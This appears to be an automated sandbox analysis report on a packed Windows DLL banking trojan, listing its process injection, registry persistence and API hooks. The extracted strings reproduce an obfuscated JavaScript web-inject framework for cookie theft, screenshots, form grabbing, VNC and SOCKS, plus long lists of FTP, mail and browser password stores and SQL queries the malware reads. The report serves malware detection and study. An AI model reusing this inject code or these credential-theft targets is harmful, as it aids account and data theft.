MD5: e65d09e24f01c7748e3d7aa3d1b0f687
SHA1: a5c6ba33f7453d0cec054e5efb6f3a8ae01e19db
SHA256: 0619105bb8fc6d6f0328f72e4a225b4070d8348f3a96c9baf9b6193b475f2bc3
SSDeep: 6144:n1sP/l5p3ZuZGAw9RMu4bvCE3Aw4LmaczGO8 AMzHiK:189JuY39RMjvCmtDGO8 FzHZ
Size: 306574 bytes
File type: DLL
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2002-11-19 12:30:36
Analyzed on: WindowsXPESX SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

regsvr32.exe:184

The Trojan injects its code into the following process(es):

mscorsvw.exe:1924
wmiprvse.exe:916
spoolsv.exe:1436
Explorer.EXE:1852
jqs.exe:1964

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process regsvr32.exe:184 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\LowupIzink\WogaRdahz.dat (251 bytes)

Registry activity

The process regsvr32.exe:184 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "38 1E AE 01 4F EC F9 36 38 D1 87 2C E8 A8 77 03"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Classes\CLSID\{7BD47FDD-1028-4944-A268-024C76A61BA9}]
"#sd" = "63 3A 5C 65 36 35 64 30 39 65 32 34 66 30 31 63"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WogaRdahz" = "regsvr32.exe %Documents and Settings%\All Users\Application Data\WogaRdahz\WogaRdahz.dat"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The Trojan installs the following user-mode hooks in kernel32.dll:

CreateProcessA
CreateProcessW

Propagation

VersionInfo

Company Name: Microsoft Corporation
Product Name: HD Player
Product Version: 5.2.3790.1830
Legal Copyright: (c) Microsoft Corporation. All rights reserved.
Legal Trademarks:
Original Filename: capesnpn.dll
Internal Name: capesnpn.dll
File Version: 5.2.3790.1830 (srv03_sp1_rtm.050324-1447)
File Description:
Comments:
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

No activity has been detected.

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Web Traffic was not found.

The Trojan connects to the servers at the folowing location(s):

%Documents and Settings%\All Users\Application Data\WogaRdahz\WogaRdahz.dat

.text

`.rdata

@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

<!</<7<><[<

8 9(91999\9

.pdata

@.reloc

[%s - X64 EQ PID: %u TID: %u]

\SysWOW64\regsvr32.exe

[Pony] Fail create process: %u

[PONY] Fail inject to process: %u

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

wmiprvse.exe_916_rwx_01040000_0007B000:

.text

`.rdata

@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

